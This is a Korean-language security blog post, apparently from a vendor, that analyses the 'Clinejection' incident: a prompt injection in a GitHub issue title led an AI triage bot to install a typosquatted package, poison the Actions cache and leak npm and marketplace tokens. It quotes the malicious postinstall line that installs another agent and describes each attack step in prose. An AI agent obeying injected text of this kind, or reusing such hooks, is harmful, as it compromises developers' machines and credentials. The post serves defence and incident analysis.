GitHub Issue 제목에 프롬프트 인젝션을 삽입해 AI 트리아지 봇을 조작 (2026.02)
공격자가 탈취한 npm 토큰으로 악성 패키지 cline@2.3.0 배포, 8시간 동안 4,000회 다운로드
악성 패키지가 OpenClaw(AI 에이전트)를 자동 설치, 개발자 동의 없이 시스템 전체 권한 획득
npm audit, 코드 리뷰, provenance attestation 등 기존 보안 도구 전부 탐지 실패
보안 연구원이 2025년 12월 취약점 보고 → Cline 5주간 무응답 → 공개 후 30분 만에 패치
Credential rotation 과정에서 잘못된 토큰 삭제 → 공격자가 유효한 토큰으로 악성 배포 완료
일어난 일: Issue 제목 한 줄이 만든 재앙
2026년 2월 어느 날, 약 4,000명의 개발자가 평소처럼 npm install을 실행했습니다. VS Code에서 Cline 확장 프로그램이 업데이트되었다는 알림이 떴을 수도 있고, 새 프로젝트를 세팅하면서 의존성을 설치했을 수도 있습니다. 어느 쪽이든, 그들의 터미널에서는 아무런 이상 징후가 나타나지 않았습니다.
하지만 그 순간, 그들의 머신에는 OpenClaw라는 AI 에이전트가 자동으로 설치되고 있었습니다. 시스템 데몬으로 등록되어 재부팅 후에도 살아남고, ~/.openclaw/ 디렉토리에서 크리덴셜을 읽고, Gateway API를 통해 원격 명령을 수신할 수 있는 프로그램이었습니다.
개발자들은 이 프로그램을 설치한 적이 없습니다. 동의한 적도, 평가한 적도, 심지어 들어본 적도 없었습니다.
이 모든 것의 시작은 GitHub Issue 제목 한 줄이었습니다.
Cline은 VS Code 확장 프로그램으로, AI를 활용해 코드를 작성하고 편집하는 인기 개발 도구입니다. GitHub 저장소만 해도 수만 개의 스타를 보유하고 있고, npm 주간 다운로드 수는 꾸준히 상위권을 유지하고 있었습니다. Cline 팀은 빠르게 쏟아지는 Issue를 관리하기 위해 Anthropic의 claude-code-action을 기반으로 AI 트리아지 워크플로우를 구축했습니다. 새로운 Issue가 등록되면 AI가 내용을 읽고, 자동으로 라벨을 붙이고, 우선순위를 분류하는 방식이었습니다.
편리했습니다. 효율적이었습니다. 그리고 치명적이었습니다.
문제는 이 워크플로우의 설정에 있었습니다. GitHub Actions 워크플로우는 ${{ github.event.issue.title }}을 통해 Issue 제목을 그대로 가져와 AI에 전달했습니다. 입력 검증도, 새니타이제이션도 없었습니다. 더 심각한 건 allowed_non_write_users: "*" 설정이었습니다. 지구상의 모든 GitHub 사용자가 Issue 하나만 열면 이 AI 워크플로우를 트리거할 수 있었다는 의미입니다.
공격자는 Issue #8904를 생성했습니다. 제목은 성능 벤치마크 리포트처럼 보였지만, 그 안에는 AI를 조작하는 지시가 교묘하게 내장되어 있었습니다. Claude는 이것을 정상적인 작업 요청으로 해석했고, 공격자가 의도한 명령을 충실히 실행했습니다.
자연어가 코드 실행의 진입점이 된 최초의 대규모 공급망 공격이 시작된 순간이었습니다.
5단계 공격 체인: 자연어에서 4,000대 감염까지
Clinejection Attack Diagrams
Clinejection이 보안 업계의 주목을 받은 이유는 단순히 "AI 도구가 뚫렸다"가 아닙니다. 5개의 서로 다른 취약점이 정교하게 연결되어 하나의 완성된 공격 체인을 만들었기 때문입니다.
Step 1: 프롬프트 인젝션, "성능 리포트"로 위장한 공격 명령
공격자가 작성한 Issue 제목은 얼핏 보면 평범한 성능 리포트 요청이었습니다. 하지만 제목 안에는 AI 트리아지 봇이 해석할 수 있는 숨겨진 지시가 포함되어 있었습니다. Claude는 이것을 별도의 명령으로 인식했고, 기존의 트리아지 작업을 중단하고 공격자의 지시를 따르기 시작했습니다.
이것이 프롬프트 인젝션(Prompt Injection)입니다. 사용자 입력에 악의적인 지시를 삽입하여 AI의 행동을 조작하는 기법으로, AI 보안에서 가장 뜨거운 화두 중 하나입니다. 하지만 Clinejection 이전까지 프롬프트 인젝션이 실제 대규모 피해로 이어진 사례는 거의 없었습니다. 이론적 위험이 현실이 된 첫 번째 사건이라는 점에서 이 공격의 의미는 각별합니다.
Step 2: 임의 코드 실행, 타이포스쿼팅의 정교함
AI는 주입된 명령에 따라 npm install을 실행했습니다. 설치 대상은 glthub-actions/cline이었습니다. github에서 'i'가 빠진 것을 눈치채셨나요? 공격자는 원본과 거의 동일하게 보이는 이름의 포크를 미리 만들어두었습니다.
이 타이포스쿼팅 패키지의 package.json에는 preinstall 스크립트가 포함되어 있었습니다. npm은 패키지를 설치하기 전에 이 스크립트를 자동으로 실행합니다. 스크립트는 원격 서버에서 셸 스크립트를 다운로드하여 실행했습니다. AI가 패키지를 설치하는 "일상적인" 동작을 했을 뿐인데, 그 동작 자체가 공격자에게 CI/CD 환경 안에서 임의의 코드를 실행할 수 있는 교두보를 마련해준 셈입니다.
Step 3: 캐시 포이즈닝, 10GB로 벌인 시간차 공격
여기서 공격은 정교해집니다. 원격 셸 스크립트는 Cacheract라는 도구를 배포했습니다. GitHub Actions의 캐시 시스템을 공격하기 위해 설계된 도구입니다.
GitHub Actions는 빌드 속도를 높이기 위해 node_modules와 같은 의존성을 캐시합니다. 캐시 용량에는 제한이 있고, 초과되면 가장 오래된 항목부터 삭제하는 LRU(Least Recently Used) 방식을 사용합니다. Cacheract는 이 메커니즘을 역으로 이용했습니다. 10GB 이상의 정크 데이터를 캐시에 쏟아부어 기존의 정상 캐시를 모두 밀어내고, Cline의 nightly release 워크플로우가 사용하는 캐시 키와 동일한 이름의 오염된 캐시를 심어놓았습니다.
이 공격은 즉시 발동하지 않습니다. Cline의 nightly release가 실행될 때까지 조용히 기다리는 시간차 공격(time-delayed attack)입니다. 캐시가 포이즈닝된 후 실제 피해가 발생하기까지 시간 차이가 있기 때문에, 실시간 모니터링으로도 원인과 결과를 연결하기 어렵습니다.
Step 4: 크리덴셜 탈취, 세 개의 열쇠
다음 날 밤, Cline의 nightly release 워크플로우가 예정대로 실행되었습니다. 워크플로우는 캐시에서 node_modules를 복원했고, 그 안에는 이미 공격자의 코드가 심어져 있었습니다.
이 워크플로우에는 패키지를 배포하기 위한 세 개의 시크릿이 저장되어 있었습니다:
NPM_RELEASE_TOKEN, npm 레지스트리에 패키지를 배포할 수 있는 토큰
VSCE_PAT, VS Code Marketplace에 확장 프로그램을 배포할 수 있는 토큰
OVSX_PAT, OpenVSX에 확장 프로그램을 배포할 수 있는 토큰
세 토큰 모두 공격자의 인프라로 유출되었습니다. 공격자는 이제 Cline의 이름으로 npm 패키지를 배포하고, VS Code Marketplace에 확장 프로그램을 올릴 수 있는 완전한 권한을 가지게 되었습니다.
여기서 핵심적인 문제는 이 토큰들이 **장기 토큰(long-lived token)**이었다는 점입니다. 한 번 발급하면 수동으로 로테이션하기 전까지 영구적으로 유효한 토큰입니다. OIDC 기반의 단기 토큰(short-lived token)을 사용했다면, 특정 워크플로우에서만 유효한 임시 토큰이 발급되므로 탈취되더라도 재사용이 불가능했을 것입니다.
Step 5: 악성 패키지 배포, package.json 한 줄의 위력
공격자는 탈취한 npm 토큰으로 cline@2.3.0을 배포했습니다. CLI 바이너리는 이전 버전과 바이트 단위로 동일했습니다. 변경된 것은 package.json에 추가된 단 한 줄이었습니다:
"postinstall": "npm install -g openclaw@latest"
npm install을 실행하면 postinstall 스크립트는 자동으로 실행됩니다. 사용자에게 확인을 구하지 않습니다. 터미널에 별도의 경고가 뜨지도 않습니다. 그저 의존성 설치 과정의 일부로 조용히 실행될 뿐입니다.
이 한 줄이 OpenClaw라는 AI 에이전트를 전역으로 설치했습니다. 악성 패키지는 8시간 동안 npm 레지스트리에 공개되었고, 그 사이 약 4,000회 다운로드되었습니다. 8시간. 보안팀이 이상을 감지하고 패키지를 내리기까지 걸린 시간입니다. 그 사이 4,000명의 개발자 환경이 침해되었습니다.
AI가 AI를 설치하다, 공급망 공격의 새로운 문법
Clineinjection confsued deputy
이전에도 공급망 공격은 있었습니다. SolarWinds, Codecov, ua-parser-js, event-stream... 하지만 Clinejection은 이전 사례들과 근본적으로 다른 패턴을 도입했습니다.
기존 공급망 공격에서 악성 페이로드는 크립토마이너, 백도어, 정보 탈취 스크립트였습니다. 탐지 도구들은 이런 유형의 악성 코드를 식별하도록 설계되어 있습니다. 하지만 Clinejection의 페이로드는 합법적인 소프트웨어였습니다. OpenClaw는 npm에 정상적으로 등록된 패키지이고, 악성 시그니처가 없으며, 그 자체로는 멀웨어가 아닙니다. 그저 "동의 없이 설치되었을 뿐"입니다.
이것이 Clinejection이 만들어낸 새로운 위협의 본질입니다. AI가 AI를 설치하는 재귀적 공급망 공격.
보안 연구자들은 이것을 "공급망의 Confused Deputy Problem"이라고 명명했습니다. Confused Deputy Problem은 원래 권한 위임에서 발생하는 고전적인 보안 문제입니다. 신뢰받는 프로그램(deputy)이 공격자의 요청을 자신의 권한으로 실행해버리는 것이죠. Clinejection에서는 이 문제가 도구 수준에서 발생했습니다.
개발자는 Cline에 자신의 개발 환경에서 동작할 권한을 부여합니다. Cline이 침해되면, 그 권한은 OpenClaw에 위임됩니다. 개발자는 OpenClaw를 평가한 적도 없고, 설정한 적도 없으며, 동의한 적도 없습니다. 하지만 OpenClaw는 Cline을 통해 획득한 권한으로 시스템에서 동작합니다.
OpenClaw가 설치된 후 어떤 능력을 가지게 되는지 살펴보면 이 문제의 심각성이 드러납니다. ~/.openclaw/ 디렉토리에 저장된 크리덴셜을 읽을 수 있고, Gateway API를 통해 원격 명령을 수신하고 실행할 수 있으며, 시스템 데몬으로 자신을 등록하여 재부팅 후에도 살아남습니다. Endor Labs는 이번 페이로드를 "무기화된 것이라기보다 PoC에 가깝다"고 평가했지만, 메커니즘 자체는 실전에서 즉시 활용 가능한 수준입니다.
전통적인 공급망 공격과 비교하면 위협의 진화가 선명하게 드러납니다. 기존 공격은 악성 패키지나 타이포스쿼팅을 통해 들어왔고, 사람이나 스크립트가 실행 주체였으며, 패키지 스캐너가 탐지할 수 있었습니다. 페이로드는 백도어나 크립토마이너였고, 프로세스를 종료하면 사라졌습니다. 하지만 Clinejection은 자연어가 진입점이고, AI 에이전트가 실행 주체이며, 합법적 패키지라 탐지가 불가능합니다. 페이로드는 또 다른 AI 에이전트이고, 시스템 데몬으로 영구 상주합니다.
보안 리더에게 이것이 의미하는 바는 분명합니다. AI 도구의 권한 체인은 전통적인 접근 제어 모델로 관리할 수 없습니다. AI가 다른 AI를 호출하고 설치하는 환경에서는, 각 단계의 권한 범위를 명시적으로 제한하는 새로운 거버넌스 모델이 필요합니다. "이 AI 도구가 어떤 다른 도구를 설치할 수 있는가?"라는 질문에 답할 수 있어야 합니다.
왜 모든 보안 도구가 실패했는가
이 사건에서 가장 불편한 진실은, 조직이 일반적으로 의존하는 보안 장치들이 단 하나도 작동하지 않았다는 것입니다.
npm audit는 패키지의 알려진 취약점과 악성 시그니처를 검사합니다. 하지만 OpenClaw는 합법적인 패키지입니다. 악성 코드가 포함되어 있지 않고, CVE가 등록되어 있지 않으며, npm의 어떤 보안 규칙도 위반하지 않습니다. npm audit의 관점에서 npm install -g openclaw@latest는 완전히 정상적인 패키지 설치 명령일 뿐입니다. "악성 소프트웨어를 동의 없이 설치한다"는 문맥은 npm audit가 이해할 수 있는 영역이 아닙니다.
코드 리뷰는 변경 사항을 검토하여 악의적인 수정을 찾아냅니다. 하지만 공격자가 배포한 cline@2.3.0의 CLI 바이너리는 이전 버전과 바이트 단위로 동일했습니다. 바이너리 diff에 집중하는 리뷰 프로세스에서는 아무런 변경도 감지되지 않았을 것입니다. 변경된 것은 package.json의 한 줄, 그것도 postinstall 스크립트 추가뿐이었습니다. package.json 변경까지 꼼꼼히 리뷰하는 프로세스가 있었다면 잡을 수 있었겠지만, 대부분의 조직에서 package.json의 스크립트 섹션 변경은 일상적인 수정으로 취급됩니다.
Provenance attestation은 패키지가 신뢰할 수 있는 빌드 환경에서 생성되었는지 검증합니다. npm은 2023년부터 OIDC 기반 provenance를 지원합니다. 이 기능이 활성화되어 있었다면, 토큰만으로는 패키지를 배포할 수 없고 특정 워크플로우의 암호화 서명이 필요하므로 공격이 차단되었을 것입니다. 하지만 Cline은 이 기능을 적용하지 않았습니다. 장기 토큰 하나만 있으면 누구든 Cline의 이름으로 패키지를 배포할 수 있는 상태였습니다.
Permission prompts는 사용자에게 위험한 작업 전에 동의를 구합니다. 하지만 npm의 postinstall 스크립트는 npm install 과정에서 자동으로 실행됩니다. 사용자에게 "이 패키지가 전역 패키지를 설치하려 합니다. 허용하시겠습니까?"라는 프롬프트가 뜨지 않습니다. 의존성 라이프사이클 스크립트는 사실상 사용자 동의 없는 코드 실행이 허용되는 영역입니다.
Cremit PR scan
네 가지 보안 장치가 모두 실패했지만, 사실 하나만 제대로 작동했어도 이 공격은 막을 수 있었습니다. 특히 OIDC 기반 provenance attestation만 적용되어 있었다면 전체 공격 체인이 Step 5에서 차단되었을 것입니다. 탈취된 토큰으로는 provenance 검증을 통과할 수 없기 때문입니다.
5주간의 침묵, 그리고 잘못된 토큰 삭제
Clinejection의 기술적 공격 체인만큼이나 충격적인 것은 인시던트 대응 과정의 실패입니다.
보안 연구원 Adnan Khan은 2025년 12월에 이 취약점 체인을 발견했습니다. 그는 책임감 있는 공개(Responsible Disclosure) 절차를 따라 2026년 1월 1일에 GitHub Security Advisory를 제출했습니다. 그리고 기다렸습니다.
1주일. 2주일. 한 달. 5주간 Cline으로부터 어떤 응답도 없었습니다. 여러 차례 후속 연락을 시도했지만 돌아오는 것은 침묵뿐이었습니다.
Khan은 2월 9일에 공개 결정을 내렸습니다. 취약점의 세부 사항을 공개적으로 발표했습니다. Cline은 30분 만에 패치를 적용했습니다. AI 트리아지 워크플로우를 제거하고 크리덴셜 로테이션을 시작했습니다.
하지만 여기서 두 번째 실패가 발생합니다.
2월 10일, Cline 팀은 크리덴셜 로테이션을 수행했습니다. 유출된 토큰을 무효화하고 새 토큰을 발급하는 표준 절차였습니다. 그런데 잘못된 토큰을 삭제했습니다. 새로 발급한 토큰을 삭제하고, 유출된 기존 토큰은 여전히 유효한 상태로 남겨둔 것입니다. 2월 11일에야 이 오류를 발견하고 재로테이션을 수행했지만, 이미 늦은 뒤였습니다.
그리고 여기에 한 가지 더 충격적인 사실이 있습니다. 실제로 cline@2.3.0을 배포한 것은 Khan이 아닙니다. Khan은 취약점을 발견하고 보고한 보안 연구원이었을 뿐입니다. 별도의 알려지지 않은 공격자가 Khan의 테스트 저장소에서 PoC를 발견하고, 이를 실제 공격으로 무기화하여 Cline에 직접 사용한 것입니다.
이 타임라인이 보여주는 것은 명확합니다. 취약점 대응은 기술적 역량만의 문제가 아닙니다. 프로세스의 문제입니다. 5주간 응답하지 않은 것은 정교한 보안 아키텍처의 부재가 아니라, 기본적인 보안 커뮤니케이션 체계가 없었다는 의미입니다. 잘못된 토큰을 삭제한 것은 크리덴셜 로테이션 검증 절차가 없었다는 의미입니다. PoC가 제3자에 의해 무기화된 것은 취약점 공개 창(disclosure window) 관리의 실패입니다.
Cline은 사후에 다음과 같은 조치를 발표했습니다. 크리덴셜 처리 워크플로우에서 GitHub Actions 캐시 사용을 제거하고, npm 배포에 OIDC provenance attestation을 도입하며, 크리덴셜 로테이션 시 검증 요구 사항을 추가하고, SLA가 포함된 취약점 공개 프로세스를 수립했으며, CI/CD 인프라에 대한 제3자 보안 감사를 의뢰했습니다. 모두 올바른 조치이지만, 사전에 적용되었어야 할 기본적인 보안 위생(security hygiene)이었다는 점이 씁쓸합니다.
AI 에이전트 시대, 보안 리더가 다시 그려야 할 방어선
Clinejection은 한 조직의 실수가 아닙니다. AI 도구를 CI/CD 파이프라인에 통합하는 모든 조직이 동일한 구조적 위험에 노출되어 있다는 것을 보여주는 사건입니다. Issue 트리아지, 코드 리뷰 자동화, 자동 테스트, PR 요약, AI가 외부 입력을 처리하고 코드를 실행하는 모든 워크플로우가 잠재적인 공격 표면입니다.
보안 리더가 지금 당장 점검해야 할 영역은 세 가지입니다.
첫째, CI/CD 파이프라인의 크리덴셜 관리입니다. Clinejection의 핵심은 장기 토큰이었습니다. OIDC 기반 단기 토큰으로 전환하는 것이 가장 효과적인 단일 방어 조치입니다. npm은 이미 OIDC provenance를 지원하고, GitHub Actions는 OIDC 토큰 발급을 네이티브로 제공합니다. 또한 캐시에서 복원된 코드를 신뢰하는 워크플로우가 있다면, 캐시 무결성 검증을 추가하거나 크리덴셜 관련 워크플로우에서 캐시 사용을 완전히 제거해야 합니다.
둘째, AI 도구 거버넌스입니다. 개발 조직에서 어떤 AI 도구가 사용되고 있는지 파악하고 있어야 합니다. VS Code 확장, GitHub Actions 봇, CI/CD 파이프라인의 AI 에이전트, 각각이 어떤 권한을 가지고, 어떤 외부 입력을 처리하는지 알아야 합니다. 특히 AI 도구가 셸 명령을 실행하거나 패키지를 설치할 수 있는 경우, 그 권한 범위를 명시적으로 제한해야 합니다. allowed_non_write_users: "*" 같은 설정이 여러분의 워크플로우에도 있지 않은지 확인해보세요.
셋째, 인시던트 대응 프로세스입니다. 외부 보안 연구원이 취약점을 보고했을 때 48시간 이내에 응답할 수 있는 체계가 있어야 합니다. 크리덴셜 로테이션 후 이전 토큰이 실제로 무효화되었는지 검증하는 절차가 있어야 합니다. Cline이 겪은 두 가지 대응 실패, 5주간의 무응답과 잘못된 토큰 삭제, 는 정교한 보안 기술이 아니라 기본적인 프로세스의 부재에서 비롯된 것입니다.
Cremit으로 AI 에이전트 시대 대비하기
Clinejection 공격의 핵심은 크리덴셜 탈취와 유출이었습니다. NPM_RELEASE_TOKEN, VSCE_PAT, OVSX_PAT, 이 세 개의 장기 토큰이 유출되지 않았다면, 4,000대의 개발자 머신은 안전했을 것입니다.
Cremit Argus Dashboard
Cremit은 바로 이 지점에서 AI 에이전트 시대의 보안 문제를 해결합니다.
실시간 Secret Detection. CI/CD 파이프라인, 코드 저장소, 로그, 설정 파일 전반에서 크리덴셜 노출을 실시간으로 탐지합니다. Clinejection에서 오염된 캐시의 코드가 토큰을 외부 서버로 전송하려 했을 때, 이 비정상적인 크리덴셜 접근 패턴을 즉시 포착할 수 있습니다. 토큰이 코드에 하드코딩되어 있거나, 로그에 출력되거나, 예상치 못한 네트워크 경로로 전송되는 순간 알림이 발생합니다.
NHI(Non-Human Identity) 관리. 조직 전체에서 사용되는 비인간 아이덴티티의 전체 현황을 제공합니다. AI 도구가 사용하는 API 키, CI/CD 파이프라인의 서비스 계정, 배포 토큰, OAuth 시크릿, 각각이 어디서 사용되고, 얼마나 오래되었으며, 과도한 권한을 가지고 있지는 않은지 한눈에 파악할 수 있습니다. Cline의 NPM_RELEASE_TOKEN이 언제 마지막으로 로테이션되었는지, 어떤 워크플로우에서 접근 가능한지를 사전에 알고 있었다면, 위험 노출 시간을 대폭 줄일 수 있었을 것입니다.
자동화된 크리덴셜 라이프사이클. 토큰의 발급부터 로테이션, 만료 관리, 미사용 크리덴셜 정리까지를 자동화합니다. 수동 크리덴셜 로테이션에서 발생한 Cline의 실수, 잘못된 토큰을 삭제하고 유출된 토큰을 유효한 상태로 남겨둔, 는 자동화된 라이프사이클 관리가 있었다면 발생하지 않았을 문제입니다.
AI 코딩 도구는 개발 생산성을 혁신적으로 높이고 있습니다. 그 흐름을 막을 이유도 없고, 막을 수도 없습니다. 하지만 새로운 도구는 새로운 공격 표면을 만듭니다. Clinejection은 그 시작일 뿐입니다. 다음 공격이 여러분의 조직을 대상으로 하기 전에, 크리덴셜 보안의 기본부터 점검해야 합니다.
한국 기업에 주는 시사점
해당 사건은 오픈소스 의존성과 CI/CD 파이프라인을 경유한 공급망 공격의 전형적 경로를 보여준다. 국내에서는 K-ISMS-P 2.10.2 외부자 보안 관리, 2.8.2 소프트웨어 개발보안 항목이 직접 적용되며, 공공기관은 국가정보원 「공급망 보안 가이드라인」과 행정안전부 SW 공급망 보안 점검 기준에 따라 외부 패키지·빌드 도구·GitHub Actions에 대한 서면 인벤토리 유지가 요구된다. 유사 사고 발생 시 전자금융감독규정 제12조의2에 따라 금융회사는 24시간 이내 금감원 보고 의무도 병행된다.
